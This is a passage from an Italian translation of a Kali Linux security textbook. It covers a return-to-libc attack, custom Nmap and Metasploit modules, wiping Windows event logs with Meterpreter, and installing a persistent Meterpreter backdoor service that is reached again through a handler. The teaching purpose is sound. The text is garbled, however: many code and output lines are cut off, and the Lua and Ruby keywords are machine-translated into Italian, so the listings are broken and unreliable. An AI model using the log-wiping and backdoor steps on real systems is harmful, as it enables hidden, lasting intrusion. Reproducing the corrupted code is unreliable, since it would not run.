nota, tuttavia, può essere usato come un attacco. La libreria C standard,
nota in formato libreria come libc , è usata in tutti i programmi C e ospita
alcune funzioni utili. Una è la funzione di sistema , che può essere usata
per eseguire un programma nel sistema operativo. Se gli aggressori
possono saltare all'indirizzo della funzione di sistema , passando il
parametro giusto, possono ottenere una shell sul sistema preso di mira.
Per usare questo attacco, dobbiamo identificare l'indirizzo della funzione di
libreria. Usiamo la funzione di sistema , ma anche altre funzioneranno,
perché possiamo passare direttamente /bin/sh come parametro, il che
significa che stiamo eseguendo la shell, che può darci accesso alla riga di
comando. Possiamo usare un paio di strumenti per aiutarci in questo. Il
primo è ldd , che elenca tutte le librerie dinamiche utilizzate da
un'applicazione. L'esempio 10-7 ha l'elenco delle librerie dinamiche
utilizzate dal programma wubble . Questo fornisce l'indirizzo in cui la
libreria è caricata in memoria. Una volta ottenuto l'indirizzo di partenza,
abbiamo bisogno dell'offset per la funzione. Possiamo usare il programma
readelf per ottenerlo. Questo è un programma che visualizza tutti i simboli
dal programma vuln compilato in precedenza.
Esempio 10-7. Ottenere l'indirizzo della funzione in libc
┌──(kilroy@badmilo)-[~] └─$ ldd vul linuxvdso.so.1 (0x0000ffff9d388000) libc.so.6 =>
/lib/aarch64-linux-gnu/libc /lib/ld-linuxaarch64.so.1 (0x0000ffff9d3
┌──(kilroy@badmilo)-[~]
└─$ readelf -a vul | grep stampa
000000020028 000a00000402 R_AARCH64_JUMP_SL 0000
10: 0000000000000000 0 FUNC GLOBALE DEF
89: 0000000000000000 0 FUNC GLOBALE DEF
Utilizzando le informazioni di questi programmi, abbiamo l'indirizzo da
usare per il puntatore di istruzione. Ciò richiederebbe anche di posizionare
il parametro sullo stack in modo che la funzione possa estrarlo e usarlo.
Una cosa da tenere a mente quando si lavora con indirizzi o qualsiasi cosa
in memoria è l'architettura, ovvero il modo in cui i byte sono ordinati in
memoria.
Qui ci occupiamo di due tipi di architettura. Uno è chiamato little-endian e
l'altro è big-endian. Con i sistemi littleendian , il byte meno significativo
viene memorizzato per primo. In un sistema bigendian , il byte più
significativo viene memorizzato per primo. I sistemi littleendian sono
all'indietro rispetto al nostro modo di pensare. Considera come scriviamo i
numeri. Leggiamo il numero 4.587 come
quattromilacinquecentoottantasette . Questo perché il numero più
significativo viene scritto per primo. In un sistema little-endian, il valore
meno significativo viene scritto per primo. In un sistema little-endian, lo
stesso valore viene scritto settemilaottocentocinquantaquattro .
I sistemi basati su Intel (e AMD è basato sull'architettura Intel) sono tutti
little-endian. Ciò significa che quando vedi un valore scritto nel modo in cui
lo leggeremmo, è al contrario rispetto al modo in cui è rappresentato nella
memoria su un sistema basato su Intel, quindi devi prendere ogni byte e
invertirne l'ordine. L'indirizzo precedente dovrebbe essere convertito da
big-endian a littleendian invertendo i valori dei byte. Allo stesso modo, i
processori ARM, inclusi Apple M1 e M2, che sono basati su AMR, sono
little-endian.
Scrittura di moduli Nmap
Ora che hai un po' di basi di programmazione e hai capito gli exploit,
possiamo provare a scrivere alcuni script che ci saranno utili. Nmap usa il
linguaggio di programmazione Lua per consentire ad altri di creare script
che possono essere usati con Nmap. Sebbene Nmap sia solitamente
pensato come uno scanner di porte, ha anche la capacità di eseguire script
quando vengono identificate porte aperte. Questa capacità di scripting è
gestita tramite Nmap Scripting Engine (NSE). Nmap, tramite NSE, fornisce
librerie che possiamo usare per rendere la scrittura di script molto più
semplice.
Gli script possono essere specificati sulla riga di comando quando esegui
nmap con il parametro --script seguito dal nome dello script. Questo può
essere uno delle decine di script che sono nel pacchetto Nmap; può essere
una categoria, o potrebbe essere il tuo script. Il tuo script registrerà la
porta che è rilevante per ciò che viene testato quando lo script viene
caricato. Se nmap trova un sistema con la porta che hai indicato come
registrata aperta, il tuo script verrà eseguito. L'esempio 10-8 è uno script
che ho scritto per controllare se il percorso /foo/ è trovato su un server
web in esecuzione sulla porta 80. Questo script è stato creato usando uno
script Nmap esistente come punto di partenza. Gli script in bundle con
Nmap sono in /usr/share/nmap/scripts .
Esempio 10-8. Script Nmap
http locale = richiedi "http"
shortport locale = richiedi
"shortport" stdnse locale = richiedi
"stdnse"
tabella locale = richiedi "tabella"
descrizione = [[ Uno script dimostrativo per
mostrare la funzionalità NSE ]]
autore = "Ric Messier"
licenza = "nessuna"
categorie = {
"sicuro",
"scoperta",
"predefinito", }
portrule = shortport.http
-- la nostra funzione per verificare l'esistenza
di /foo funzione locale get_foo (host, porta,
percorso) risposta locale =
http.generic_request(hos se risposta e
response.status == 200° ret locale = {} ret['Tipo
di server'] = response.hea ret['Data del server']
= response.hea ret['Trovato'] = true return ret
altrimenti
restituisci
falso
FINE
end
function action (host, port)
local found = false
local path = "/foo/"
local output = stdnse.output_table()
local resp = get_foo(host, port, path)
if resp then
if resp['Found'] then
found = true
for name, data in pairs(resp) do
output[name] = data
end
end
end
if #output > 0 then
return output
else
return nil
end
end
con local , identifica i moduli Nmap che saranno necessari allo script.
Vengono caricati in quelle che sono essenzialmente variabili di istanza di
classe. Questo ci fornisce un modo per accedere alle funzioni nel modulo in
seguito. Dopo il caricamento del modulo, vengono impostati i metadati di
questo script, tra cui la descrizione, il nome dell'autore e le categorie in cui
rientra lo script. Se qualcuno seleziona gli script per categoria, le categorie
che definisci per questo script determineranno se questo script verrà
eseguito.
Dopo i metadati, entriamo nella funzionalità dello script. Per prima cosa,
impostiamo la regola della porta. La regola della porta dice a Nmap quando
attivare lo script in base allo stato della porta definita. La riga portrule =
shortport.http indica che questo script dovrebbe essere eseguito se la
porta HTTP (porta 80) risulta aperta. La funzione che segue quella regola
controlla se il percorso /foo/ è disponibile sul sistema remoto. È qui che si
trova il nocciolo di questo particolare script. La prima cosa che accade è
che nmap invia una richiesta GET al server remoto in base alla porta e
all'host passati nella funzione.
Lo script verificherà se c'è una risposta 200 dal server remoto. Il messaggio
di stato 200 in HTTP è un messaggio di successo che indica che il percorso
è stato trovato. Se il percorso viene trovato, lo script popola un hash con le
informazioni raccolte dalle intestazioni del server. Ciò include il nome del
server e la data in cui è stata effettuata la richiesta. Indichiamo anche che il
percorso è stato trovato, il che sarà utile nella funzione chiamante.
Spiccando la funzione di chiamata, action è la funzione che nmap chiama
se la porta giusta è aperta. La funzione action viene passata all'host e alla
porta. Iniziamo creando alcune variabili locali. Una è il percorso che stiamo
cercando e un'altra è una tabella che nmap usa per memorizzare le
informazioni che saranno visualizzate nell'output di nmap . Una volta
create le variabili, possiamo chiamare la funzione discussa in precedenza
che controlla l'esistenza del percorso.
Se la directory, il percorso o l'endpoint specificato è stato trovato,
popoliamo la tabella con tutte le coppie chiave/valore che sono state
popolate nella funzione che ha controllato il percorso. L'esempio 10-9
mostra l'output generato da un'esecuzione di nmap su un server che aveva
quel percorso disponibile. Puoi vedere l'output delle coppie chiave/valore
sotto il nome dello script che abbiamo chiamato. In questo caso, era
script.nse , quindi viene visualizzato sotto script . Se hai rinominato lo script
wubble.nse , l'output verrebbe visualizzato sotto l'intestazione wubble .
Esempio 10-9. Output nmap
┌──(kilroy@badmilo)-[~]
└─$ sudo nmap -sS -p 80,443 192.168.4.8 --script=
Avvio di Nmap 7.94SVN (https://nmap.org) a 202
Il report di scansione di Nmap per
l'host 192.168.4.8 è attivo (latenza
0,0068 s).
PORT
STATE
80/tcp open
| script:
|
|
SERVICE
http
Server Date: Fri, 12 Jan 2024 18:01:12 GMT
Server Type: Apache/2.4.58 (Debian)
|_ Found: true
443/tcp closed https
MAC Address: 1C:69:7A:66:64:2A (EliteGroup Comput
Nmap done: 1 IP address (1 host up) scanned in 1
Naturalmente, questo script verifica l'esistenza di una risorsa web
utilizzando funzioni basate su HTTP integrate. Non sei obbligato a cercare
solo informazioni basate sul web. Puoi utilizzare richieste TCP o UDP per
controllare servizi proprietari. Non è una gran pratica , ma potresti scrivere
script Nmap che inviano traffico dannoso a una porta per vedere cosa
succede. Innanzitutto, Nmap non è un gran programma di monitoraggio e
se vuoi davvero provare a interrompere un servizio, vuoi capire se il
servizio si è bloccato. Potresti provare con un pacchetto dannoso e poi
provare di nuovo per vedere se la porta è ancora aperta, ma ci sono
sicuramente modi migliori per gestire questo tipo di test.
Estensione di Metasploit
Metasploit può essere esteso con le tue funzionalità. Poiché Metasploit è
scritto in Ruby, non dovrebbe sorprendere molto scoprire che se vuoi
scrivere il tuo modulo per Metasploit, dovresti farlo in Ruby. Su un sistema
Kali Linux, la directory a cui vuoi prestare attenzione è
/usr/share/metasploitframework/modules . Metasploit organizza tutti i
suoi moduli, dagli exploit agli ausiliari ai post-exploit, in una struttura di
directory. Quando cerchi un modulo in Metasploit e vedi quella che sembra
una struttura di directory, è perché è esattamente lì che si trova lo script
che corrisponde al modulo. Ad esempio, uno degli exploit di EternalBlue ha
un modulo che msfconsole identifica come
exploit/windows/smb/ms17_010_psexec . Per trovare quel modulo nel file
system di un'installazione di Kali Linux, bisogna andare su
/usr/share/metasploitframework/modules/exploit/windows/smb/ , dove si
trova il file ms17_010_psexec.rb .
Tieni presente che Metasploit è un framework. È comunemente utilizzato
come strumento di penetration testing per exploit point-and-click (o
almeno exploit type-and-enter). Tuttavia, è stato sviluppato come
framework che avrebbe semplificato lo sviluppo di altri exploit o altri
moduli. Utilizzando Metasploit, tutti i componenti importanti sono già
presenti e non devi ricrearli ogni volta che devi scrivere uno script di
exploit. Metasploit non solo ha moduli che semplificano alcuni bit
dell'infrastruttura, ma ha anche una raccolta di payload e codificatori che
possono essere riutilizzati. Di nuovo, si tratta di fornire i blocchi di
costruzione necessari per poter scrivere moduli di exploit.
Diamo un'occhiata a come scrivere un modulo Metasploit. Tieni presente
che ogni volta che vuoi saperne di più sulle funzionalità offerte da
Metasploit, puoi dare un'occhiata ai moduli forniti con Metasploit. Infatti,
copiare blocchi di codice dai moduli esistenti ti farà risparmiare tempo. Il
codice nell'esempio 10-10 è stato creato copiando la sezione superiore da
un modulo esistente e modificando tutte le parti che definiscono il modulo.
La definizione della classe e l'ereditarietà saranno le stesse perché questo è
un modulo ausiliario. Gli include sono tutti uguali perché gran parte della
funzionalità principale è la stessa. Ovviamente, la funzionalità è diversa,
quindi il codice devia sicuramente da lì. Questo modulo è stato scritto per
rilevare l'esistenza di un servizio in esecuzione sulla porta 5999 che
risponde con una parola particolare quando viene stabilita una
connessione.
Esempio 10-10. Modulo Metasploit
classe MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner include
Msf::Auxiliary::Report
def initialize super( 'Nome' => 'Rileva
script fasullo',
'Descrizione' => 'Script di prova per rilevare
Ou
'Autore' => 'ariete',
'Riferimenti' => [ 'nessuno' ],
'Licenza' => MSF_LICENSE )
opzioni_di_registrazio
ne( [
Opt::RPORT(5999), ]) fine
def run_host(ip)
inizio
collegare
#
sock.put("ciao") resp =
sock.get_once()
se !resp.starts_with("Wubble")
print_error("#{ip}:#{rpo
ritorno
FINE
print_good("#{ip}:#{rport} TROVATO
report_vuln({
:host => indirizzo IP,
:name => "Server fasullo ex
:refs => self.riferimenti
}) report_note(
:host => indirizzo IP,
:porta => archivio
dati['RPORT
:sname => "servizio_falso",
:type => "Operazione server
fasulla") disconnetti
salvataggio Rex::AddressInUse,
::Errno::ETIMED Rex::ConnectionTimeout,
Rex::Connection
::Errore EOFErrore => e
elog("#{e.classe}
#{e.messaggio}\n#{
ensure
disconnect
end
end
end
inizializzazione dei metadati utilizzati dal framework. Questo fornisce
informazioni che possono essere utilizzate per la ricerca. La seconda parte
dell'inizializzazione è l'impostazione delle opzioni. Questo è un modulo
semplice, quindi non ci sono opzioni a parte la porta remota. Il valore
predefinito viene impostato qui, anche se può essere modificato da
chiunque utilizzi il modulo. Il valore RHOSTS non viene impostato qui
perché è solo una parte standard del framework. Poiché questo è un
modulo di rilevamento dello scanner, il valore è RHOSTS anziché RHOST , il
che significa che in genere ci aspettiamo un intervallo di indirizzi IP.
La funzione successiva è richiesta anche dal framework. La funzione
initialize fornisce dati che il framework deve consumare. Quando questo
modulo viene eseguito, viene chiamata la funzione run_host . L'indirizzo IP
viene passato alla funzione. Il framework tiene traccia dell'indirizzo IP e
della porta a cui connettersi, quindi la prima cosa che chiamiamo è connect
, e Metasploit sa che significa avviare una connessione TCP (abbiamo
incluso il modulo TCP all'inizio) all'indirizzo IP passato al modulo sulla porta
identificata dalla variabile RPORT . Non dobbiamo fare altro per avviare
una connessione al sistema remoto.
Una volta aperta la connessione, il lavoro inizia. Se inizi a scansionare altri
script di moduli, potresti vedere più funzioni utilizzate per eseguire il
lavoro. Ciò potrebbe essere particolarmente vero con i moduli exploit. Ai
nostri fini, un server TCP invia una stringa nota al client quando la
connessione viene aperta. Poiché ciò è vero, l'unica cosa che il nostro script
deve fare è ascoltare la connessione. Qualsiasi messaggio proveniente dal
server verrà popolato nella variabile resp . Questo valore viene confrontato
con la stringa Wubble che questo servizio è noto per inviare.
Se la stringa non inizia con Wubble , lo script può tornare indietro dopo
aver stampato un errore usando la funzione print_error fornita da
Metasploit. Il resto dello script popola le informazioni che vengono usate
da Metasploit, incluso il messaggio che viene stampato nella console che
indica il successo. Lo facciamo usando la funzione print_good . Dopo di
che, chiamiamo report_vuln e report_note per popolare le informazioni.
Queste funzioni vengono usate per popolare il database che può essere
controllato in seguito.
Una volta scritto lo script, possiamo spostarlo al suo posto. Dal momento
che ho indicato che questo è uno scanner utilizzato per la scoperta, deve
essere inserito in /usr/share/metasploit-
framework/modules/scanner/discovery/ . Il nome dello script è bogus.rb .
L' estensione del file .rb indica che si tratta di uno script Ruby. Una volta
copiato al suo posto e avviato msfconsole , il framework eseguirà un'analisi
dello script. Se errori di sintassi impediscono una fase di compilazione,
msfconsole stamperà gli errori. Una volta che lo script è al suo posto e
msfconsole è avviato, sarai in grado di cercare lo script e quindi utilizzarlo
come faresti con qualsiasi altro script. Non serve altro per far sapere al
framework che lo script è lì e disponibile. Puoi vedere il processo di
caricamento ed esecuzione dello script nell'Esempio 10-11 .
Esempio 10-11. Esecuzione del nostro script
msf6 > usa ausiliario/scanner/discovery/bogus
msf6 ausiliario(scanner/discovery/bogus) >
imposta RHO 192.168.4.5
msf6 ausiliario(scanner/scoperta/bogus) > mostra
op Opzioni modulo
(ausiliario/scanner/scoperta/bogus
Nome Impostazione corrente Obbligatoria
Descrizione
---- --------------- -------- --------RHOSTS 192.168.4.5 sì Il target
.metasploit/basics/u RPORT 5999 sì Il target
THREADS 1 sì Il numero
(max uno p Visualizza le informazioni complete
del modulo con info, o info msf6
ausiliario(scanner/discovery/bogus) > esegui
[+] 192.168.4.5:5999 - 192.168.4.5:5999 FOUN
[*] 192.168.4.5:5999 - Scansionato 1 di 1 host
[*] Completata l'esecuzione del modulo
ausiliario msf6
ausiliario(scanner/discovery/bogus) >
Il messaggio che vedi quando il servizio viene trovato è quello della
funzione print_good . Avremmo potuto stampare qualsiasi cosa volessimo
lì, ma indicare che il servizio è stato trovato sembra una cosa ragionevole
da fare. Potresti aver notato una riga commentata nello script, come
indicato dal carattere # all'inizio della riga. Quella riga è quella che
useremmo per inviare dati al server. Inizialmente, il servizio è stato scritto
per accettare un messaggio prima di inviare un messaggio al client. Se
avessi bisogno di inviare un messaggio al server, potresti usare la funzione
indicata nella riga commentata. Avrai anche notato che c'è una chiamata
alla funzione disconnect , che interrompe la connessione al server.
Mantenimento dell'accesso e della
pulizia
Al giorno d'oggi, gli aggressori rimangono comunemente all'interno dei
sistemi per lunghi periodi di tempo. Come qualcuno che esegue test di
sicurezza, è improbabile che tu adotti esattamente lo stesso approccio,
anche se è bene sapere cosa farebbero gli aggressori in modo da poter
seguire schemi simili. Questo ti aiuterà a determinare se il personale
operativo è stato in grado di rilevare le tue azioni. Dopo aver sfruttato un
sistema, un aggressore intraprenderà due passaggi. Il primo è assicurarsi di
continuare ad avere accesso dopo lo sfruttamento iniziale. Ciò potrebbe
comportare l'installazione di backdoor, client botnet, account aggiuntivi o
altre azioni. Il secondo è rimuovere le tracce che sono entrate. Questo non
è sempre facile da fare, soprattutto se l'aggressore rimane
persistentemente nel sistema. Saranno presenti prove di ulteriori eseguibili
o accessi.
Tuttavia, possiamo sicuramente agire usando gli strumenti che abbiamo a
disposizione. Per cominciare, dato che è un buon punto di partenza,
possiamo usare Metasploit per fare un sacco di lavoro per noi.
Metasploit e pulizia
Metasploit offre un paio di modi per eseguire la pulizia. Di sicuro, se
compromettiamo un host, abbiamo la possibilità di caricare tutti gli
strumenti che vogliamo che possano eseguire funzioni di pulizia. Oltre a
ciò, però, in Metasploit sono integrate delle attività che possono aiutare a
pulire dopo di noi. Alla fine, non saremo in grado di pulire completamente
alcune cose. Ciò è particolarmente vero se vogliamo lasciare indietro la
possibilità di entrare quando vogliamo. Tuttavia, anche se otteniamo ciò
per cui siamo venuti e poi ce ne andiamo, qualche prova rimarrà indietro.
Potrebbe essere solo un indizio che è successo qualcosa di brutto. Tuttavia,
potrebbe essere sufficiente.
Per prima cosa, supponiamo di aver compromesso un sistema Windows.
Questa ipotesi si basa sull'ottenimento di una shell Meterpreter.
L'esempio 10-12 usa una delle funzioni Meterpreter, clearev . Questa
cancella il registro eventi. Niente nel registro eventi potrebbe suggerire la
tua presenza, a seconda di cosa hai fatto e dei livelli di contabilità e
registrazione abilitati sul sistema. Tuttavia, la cancellazione dei registri è
un'attività comune post-sfruttamento. Il problema con la cancellazione dei
registri, come ho accennato, è che ora ci sono registri eventi vuoti con solo
una voce che dice che i registri eventi sono stati cancellati. Questo rende
chiaro che qualcuno ha fatto qualcosa. La voce non suggerisce che sei stato
tu, perché non ci sono prove come indirizzi IP che indicano da dove è
partita la connessione; quando la cancellazione del registro eventi è fatta, è
fatta sul sistema e non in remoto. Non è come una connessione SSH, dove
ci sono prove nei registri di servizio.
Esempio 10-12. Cancellazione dei registri eventi
meterpreter > clearev [*] Cancellazione di 529
record dall'applicazione...
[*] Cancellazione di 1424 record dal sistema...
[*] Cancellazione di 0 record dalla sicurezza...
Altre capacità possono essere eseguite all'interno di Meterpreter. Ad
esempio, potresti eseguire il modulo di post-sfruttamento delete_user se
un utente fosse mai stato creato. Aggiungere ed eliminare utenti è il tipo di
cosa che verrebbe mostrata nei log, quindi torniamo a cancellare i log per
assicurarci che nessuno abbia prove di ciò che è stato fatto.
NOTA
Non tutti i sistemi mantengono i propri log in locale. Questo è un aspetto da considerare quando si
cancellano i log degli eventi. Solo perché hai cancellato il log degli eventi non significa che un servizio
non abbia preso i log degli eventi e li abbia inviati a un sistema remoto che li archivia a lungo termine.
Anche se pensi di aver coperto le tue tracce, ciò che hai fatto in realtà è stato fornire ulteriori prove
della tua esistenza quando tutti i log sono stati messi insieme. A volte, potrebbe essere meglio lasciare
che le tue azioni vengano oscurate da un gran numero di altri eventi registrati.
Mantenimento dell'accesso
Ci sono diversi modi per mantenere l'accesso, e questi variano in base al
sistema operativo che hai compromesso. Per continuare con il nostro
tema, però, possiamo vedere un modo per mantenere l'accesso usando
Metasploit e cosa c'è
a nostra disposizione. Di nuovo, inizieremo con un sistema Windows
compromesso su cui abbiamo utilizzato un
Carico utile Meterpreter. Lo prenderemo dentro
Meterpreter dopo aver ottenuto un elenco di processi eseguendo ps nella
shell Meterpreter. Stiamo cercando un processo a cui migrare in modo da
poter installare un servizio che persisterà attraverso i riavvii. L'esempio 1013 mostra l'ultima parte dell'elenco di processi e quindi la migrazione a
quel processo seguita dall'installazione di metsvc .
Esempio 10-13. Installazione di metsvc
5060 952 dwm.exe x64 1 VAGRANT-2 agrant 5088 5052
explorer.e x64 1 VAGRANT-2 xe agrant 6068 468
svchost.ex x64 0 NT AUTHOR e AL SERVIC 6096 468
msdtc.exe x64 0 NT AUTHOR WORK SERV
meterpreter > migrate 5088 [*]
Migrazione da 1104 a 5088... [*]
Migrazione completata con successo.
meterpreter > run metsvc
[!] Gli script Meterpreter sono deprecati. Prova
explo
[!] Esempio: eseguire
exploit/windows/local/persistenc
[*] Creazione di un servizio meterpreter sulla
porta 31337
[*] Creazione di una directory di installazione
temporanea ↩
C:\Users\vagrant\AppData\Local\Temp\1\zeKXWOsROH
[*] >> Caricamento metsrv.x86.dll...
[*] >> Caricamento metsvc-server.exe...
[*] >> Caricamento metsvc.exe...
[*] Avvio del servizio...
*
Installazione del servizio metsvc
*
Avvio del servizioService metsvc
installato correttamente.
meterpreter > shell
Process 1296 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.
All ri
C:\Windows\system32>net start
net start
These Windows services are started:
Apache Tomcat 8.0 Tomcat8
Application Experience
MEDC Server Component - Apache
MEDC Server Component - Notification Server
Meterpreter
Microsoft FTP Service
Quando migriamo a un processo diverso, stiamo spostando i bit eseguibili
della shell meterpreter nello spazio di processo (segmento di memoria) del
nuovo processo. Forniamo il PID al comando migrate . Una volta migrati al
processo explorer.exe , eseguiamo metsvc . Questo installa un servizio
Meterpreter che si trova sulla porta 31337. Ora abbiamo accesso
persistente a questo sistema che abbiamo compromesso. Puoi vedere il
servizio Meterpreter in esecuzione eseguendo net start da una shell di
comando sul sistema compromesso.
Come possiamo accedere di nuovo al sistema, senza dover rieseguire il
nostro compromesso iniziale? Possiamo farlo all'interno di Metasploit.
Utilizzeremo un modulo gestore, in questo caso un gestore che funziona su
più sistemi operativi. L'esempio 10-14 utilizza il modulo multi/handler .
Una volta caricato il modulo, dobbiamo impostare un payload. Il payload
che dobbiamo utilizzare è il payload metsvc , poiché ci stiamo connettendo
al servizio Meterpreter sul sistema remoto. Puoi vedere che le altre opzioni
sono impostate in base al sistema remoto e alla porta locale a cui il servizio
remoto è configurato per connettersi.
Esempio 10-14. Utilizzo del gestore Multi
msf6 exploit(multi/handler) > usa exploit/multi/h
[*] Usando il payload configurato
generic/shell_revers msf6 exploit(multi/handler)
> imposta LHOST 192.168.4 LHOST => 192.168.4.52
msf6 exploit(multi/handler) > imposta LPORT
31337 LPORT => 31337 msf6
exploit(multi/handler) > sfrutta
[*] Avviato il gestore TCP inverso su
192.168.4.52:3 [*] Sessione Meterpreter 1 aperta
(192.168.4.78:43
192.168.4.52:31337) alle 2024-01-14 18:29:09 -0
Una volta avviato il gestore, ci colleghiamo alla porta in modo che ascolti la
connessione remota dall'host che esegue il servizio e dovremmo ottenere
rapidamente una sessione Meterpreter aperta sul sistema remoto. Ogni
volta che vogliamo connetterci al sistema remoto per curiosare, caricare
file o programmi, scaricare file o eseguire altre operazioni di pulizia,
carichiamo semplicemente il gestore con il payload metsvc ed eseguiamo
l'exploit. Otterremo una connessione al sistema remoto per fare ciò che
vogliamo.
Riepilogo
Kali Linux è un argomento profondo con centinaia e centinaia di strumenti.
Alcuni di essi sono strumenti di base, altri sono più complessi. Nel corso di
questo capitolo, abbiamo trattato alcuni degli argomenti più complessi e
degli utilizzi degli strumenti in Kali, tra cui i seguenti:
I linguaggi di programmazione possono essere categorizzati in gruppi, tra
cui compilati, interpretati e intermedi. I programmi possono essere
eseguiti in modo diverso in base al linguaggio utilizzato per crearli.
I programmi compilati vengono creati a partire dal codice sorgente e a
volte il programma make è necessario per creare programmi complessi.
Gli stack vengono utilizzati per memorizzare i dati di runtime e ogni
funzione che viene chiamata ottiene il proprio stack frame.
Buffer overflow e stack overflow sono vulnerabilità derivanti da errori di
programmazione.
Metasploit può essere utilizzato per ripulire dopo una compromissione.
Metasploit può essere utilizzato per mantenere l'accesso dopo una
compromissione.
Risorse utili
"Smashin g the Stack per divertimento e profitto" di BugTraq et al.
“ Motore di scripting Nmap ” di Gordon "Fyodor" Lyon in Nmap
Scansione di rete (progetto Nmap, 2009)
Pagina web di Offensive Security per la creazione di un modulo
Capitolo 11. Reverse Engineering e
analisi del programma
Ci sono molte ragioni per cui potresti voler capire come è assemblato un
programma e come funziona come processo. Una di queste è capire come
identificare potenziali vulnerabilità ed exploit nell'applicazione. Un'altra
ragione, che potrebbe venirti in mente quando senti il termine reverse
engineering , è guardare al software dannoso per capire cosa fa. Sebbene
esistano altri modi per gestire le indagini sui malware, può essere molto
gratificante scavare nelle viscere del programma per capire cosa fa a livello
di codice macchina. Questo non è molto semplice, però, almeno non così
semplice come guardare un tipo di software più comune.
Come per tante altre funzioni relative alla sicurezza, Kali ha strumenti
disponibili per il reverse engineering. Tuttavia, utilizzare gli strumenti sarà
probabilmente più facile se si comprendono alcuni dei concetti di base,
come il modo in cui il sistema operativo gestisce la memoria utilizzata dai
programmi, quindi come i programmi vengono messi insieme nella
memoria per diventare processi.
Lungo il percorso, toccheremo anche altri strumenti che sono utili non solo
per il reverse engineering ma anche per altre pratiche più comuni come lo
sviluppo software, semplicemente perché sono utili per osservare i
programmi in funzione. Questo può aiutarci a capire dove ci sono problemi
in un programma, comprese le vulnerabilità, così come bug non correlati
alla sicurezza. Sapere come usare un debugger è un'abilità utile da avere,
sia che tu stia cercando di capire come funziona il programma, o di fare
reverse engineering, o di cercare di identificare vulnerabilità, o
semplicemente di cercare perché il programma si comporta male (anche se
sembra solo comportarsi male ma invece funziona come progettato).
Poiché questo non è un libro sui meccanismi interni del sistema operativo o
sul reverse engineering, questi concetti saranno trattati sufficientemente
da poter discutere in modo approfondito degli strumenti disponibili in Kali
Linux, ma non abbastanza in profondità da fungere da introduzione
all'argomento, né tantomeno da fornire una comprensione di livello
esperto.
SISTEMI OPERATIVI
Come per tante cose nell'informatica, i termini vengono usati senza una
grande comprensione del loro significato, il che può creare molta
confusione. Quando senti sistema operativo , potresti vedere un desktop
nella tua mente. Il desktop potrebbe essere blu e potrebbe esserci una
barra in basso con un pulsante del menu e un piccolo widget per l'ora e
forse altri elementi informativi. Più precisamente, questo è un ambiente
operativo . Il sistema operativo è il piccolo pezzo di software che si trova
molto al di sotto dell'ambiente desktop. Il sistema operativo, a volte
chiamato kernel , in particolare quando parliamo di Linux, gestisce tutte le
interazioni con l'hardware. Ciò include la gestione della memoria e la
gestione del processore, inclusa la gestione dei processi in entrata e in
uscita dal processore. Il sistema operativo è anche responsabile della
gestione di input e output, poiché i dispositivi di input/output (I/O) sono
hardware. Per il resto di questo capitolo, quando vedi il termine sistema
operativo , puoi leggerlo come kernel o almeno capire che si riferisce al
software che gestisce l'hardware piuttosto che al software che interagisce
con gli utenti.
Gestione della memoria
Sebbene l'idea originale sia stata presentata circa 80 anni fa, stiamo ancora
utilizzando un design di computer a volte chiamato architettura di von
Neumann , dal nome del matematico e fisico John von Neumann. Egli
specificò che un computer digitale di uso generale avrebbe avuto bisogno
di un'unità di elaborazione per eseguire le istruzioni, un'unità di controllo
per garantire che l'unità di elaborazione avesse istruzioni al momento
giusto per l'esecuzione, memoria per l'archiviazione di programmi e dati
mentre i programmi erano in esecuzione, archiviazione a lungo termine e
dispositivi I/O per interagire con il computer.
La gestione della memoria è stata molto semplicistica per decenni perché i
sistemi non avevano molta memoria e il multiprocessing non era
disponibile su tutti i sistemi, il che significava che c'era pochissima richiesta
di capire dove andavano le cose nella memoria. Oggi, i sistemi operativi
devono allocare memoria ai processi e tenere traccia della differenza tra gli
indirizzi di memoria fisica e gli indirizzi che il processo conosce. A ogni
processo viene fornita un'allocazione di memoria virtuale, il che significa
che la dimensione allocata e la posizione effettiva non sono le stesse di
quelle che il processo conosce.
Il motivo per cui vengono emessi indirizzi virtuali è che i processi possono
essere ricollocati nella memoria. Il sistema operativo, con l'aiuto di un
componente hardware chiamato translation lookaside buffer , converte
l'indirizzo virtuale che il programma conosce in un indirizzo fisico per
ottenere il contenuto della memoria. Queste traduzioni vengono
conservate nella memoria di proprietà del sistema operativo, ma il
translation lookaside buffer velocizza le ricerche memorizzandole in
componenti hardware veloci e dedicati.
Perché dobbiamo essere in grado di ricollocare? Innanzitutto, non puoi
garantire la stessa posizione di memoria fisica per un processo ogni volta
che viene eseguito, quindi in questo senso è ricollocabile, il che significa
che può essere posizionato ovunque nella memoria ogni volta che viene
eseguito. Inoltre, avere un modo per tradurre gli indirizzi virtuali in fisici
significa che possiamo prendere informazioni da un processo dalla
memoria fisica, memorizzarle da qualche parte, quindi rimetterle nella
memoria fisica da qualche altra parte. Questo era essenziale quando la
memoria non era economica come lo è oggi. Quando i sistemi non avevano
gigabyte di memoria ad accesso casuale (RAM), il sistema operativo doveva
essere in grado di prendere la memoria del processo, spostarla su un
archivio secondario (comunemente disco), quindi recuperarla quando
necessario. Questo processo è chiamato paging e la maggior parte dei
sistemi operativi ha uno spazio di swap o un file di paging in cui vengono
memorizzate pagine di memoria (tutta la memoria è segmentata in pagine,
che sono dimensioni standard, se non fisse, in base a ciascun sistema
operativo).
Naturalmente, oggigiorno, i sistemi solitamente hanno abbastanza
memoria da non richiedere file di paging. Lo si può vedere dall'uso
dell'utilità gratuita su un sistema Kali Linux. Il sistema da cui è stata presa
questa cattura era un'istanza di macchina virtuale con 8 GiB di RAM
allocata. Nell'esempio 11-1 si può vedere che, sebbene sia allocato uno
spazio di swap, nessuno di questi viene utilizzato. I sistemi Windows in
genere utilizzano un file di paging, mentre i sistemi Linux utilizzano uno
spazio di swap, che può essere una partizione separata che è stata
formattata per essere utilizzata come swap. Questo esempio utilizza
l'opzione della riga di comando -h , inserendo l'output in un formato
leggibile dall'uomo.
Esempio 11-1. uscita libera
┌──(kilroy@badmilo)-[~]
└─$ gratuito -h
totale memoria libera utilizzata: 7,8Gi 1,4Gi
1,9Gi
Scambio: 975Mi 0B 975Mi
Quindi, tutti i processi hanno memoria che deve essere gestita dal sistema
operativo, ma in ultima analisi utilizziamo il sistema operativo per capire
dove si trovano i dati che stiamo cercando nella memoria. Lo spazio di
indirizzamento che puoi vedere assegnato a un processo sarà
considerevolmente più grande di quello effettivamente utilizzato dal
processo. Potrebbe persino essere più grande della memoria del sistema
fisico. Al processo non importa, finché può memorizzare ciò di cui ha
